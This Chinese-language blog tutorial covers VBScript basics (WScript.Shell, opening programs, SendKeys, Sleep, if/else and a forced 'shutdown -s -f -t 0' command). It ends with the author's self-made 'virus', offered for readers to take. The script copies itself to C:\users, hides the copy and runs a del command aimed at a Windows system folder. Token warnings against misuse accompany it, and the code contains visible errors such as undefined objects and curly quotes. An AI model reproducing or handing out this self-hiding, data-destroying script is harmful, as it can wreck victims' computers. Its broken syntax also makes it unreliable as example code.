vbs格式编程教程提高

admin管理员组

文章数量:1794759

vbs格式编程教程提高

大家好，今天我又双叒叕来写教程了，相信很多读者是从我的文章：vbs格式编程教程_Hacker_02的博客-CSDN博客里过来的吧？好了，闲话先说到这，我们开始今天的提高内容：

下有小病毒，想要的关注我就可以看到了！ 未经允许，禁止转载！

1.create代码 set wshshell=createobject ("wscript.shell" )

这个是create（制造）代码，可以配合以下代码打开一些电脑默认软件。

set wshshell=createobject ("wscript.shell" ) a=wshshell.run ("calc",3)

 这是打开电脑默认计算器

Set WshShell = createobject("wscript.shell") WshShell.run "cmd /k e: && cd E:\\aaa && dir"

 这个是打开cmd指令窗口

Set WshShell = CreateObject("WScript.Shell") Set oNotepad = WshShell.Exec("notepad") WshShell.AppActivate oNotepad.ProcessID

这是打开记事本

WshShell.SendKeys "你要输入的文字"

 这个是输入文字，可以利用快捷键。如下：

WshShell.SendKeys "%{F4}" WshShell.SendKeys "!n" WshShell.SendKeys "^v" WshShell.SendKeys "^c" WshShell.SendKeys "{ENTER}"

如果要按下特殊键，需要用符号代替。 Shift —— + Ctrl —— ^ Alt —— %

其他的特殊键就用大括号括起来就可以了，如：{ENTER}

Set WshShell = CreateObject("WScript.Shell") WshShell.run"shutdown -s -f -t 0",true

最后这个就是注销了，t后面的0可以改成其他数字，可以进行延迟关机，单位是秒。

2.sleep WScript.Sleep 1000

这个是让程序暂停的代码，后面的“1000”可以改成其它数，单位是毫秒。

3.条件代码 if a=1 （条件）如果这个条件成立，那么执行if下面的代码 你要输入的代码 else 如果条件不成立，那么执行else下面的代码 你要输入的代码

这个是条件代码，掌握起来稍微难一些，但是多尝试，就能掌握了。

还可以用比较：

if a<b 你要输入的代码 else 你要输入的代码

好了，今天的教程就到这里，如果这次点赞到100，我继续更新下一篇。

底下是我编的病毒，有人想要的可以拿去，但是，千万不要拿来做坏事！可能会摊上法律责任！ dim fso,copy,wshshell,Const Hidden set fso=createobject(“scripting.filesystemobject”) set copy=fso.getfile(wscript.scriptfullname) copy.fso(“c:\\users\\computer virus.vbs”) '复制自身到c:\\users\\ 复制体叫做computer virus.vbs Const Hidden = 2 Set hide = fso.GetFile(“c:\\users\\computer virus.vbs”) '隐藏复制体 hide.Attributes = f.Attributes Or Hidden set wshshell = wscript.createobject(“wscript.shell”) wshshell.run “cmd/c del c:\\Windows\\system” '太狠了,删除系统文件夹,删了系统报废!只能在虚拟机里测试。不得破坏被人电脑!(当然,杀毒软件应该都会报毒)cmd/c … 也就是使用cmd执行某某命令。你可以在命令提示符里输入del/?查看帮助.

重要的事情说三遍：不要拿来做坏事！不要拿来做坏事！不要拿来做坏事！

别怪作者没提醒啊。

底下这个是作者的整人小资源，这个没有那么危险，欢迎下载！详细vbs格式源码代码运用：超级整人.txt。-Node.js文档类资源-CSDN下载教学用，详细在我的文章：vbs格式编程教程基础。更多下载资源、学习资料请访问CSDN下载频道.download.csdn/download/a_8848_z/85624483?spm=1001.2014.3001.5503

制作不易，点个赞再走吧。

本文标签： 格式教程vbs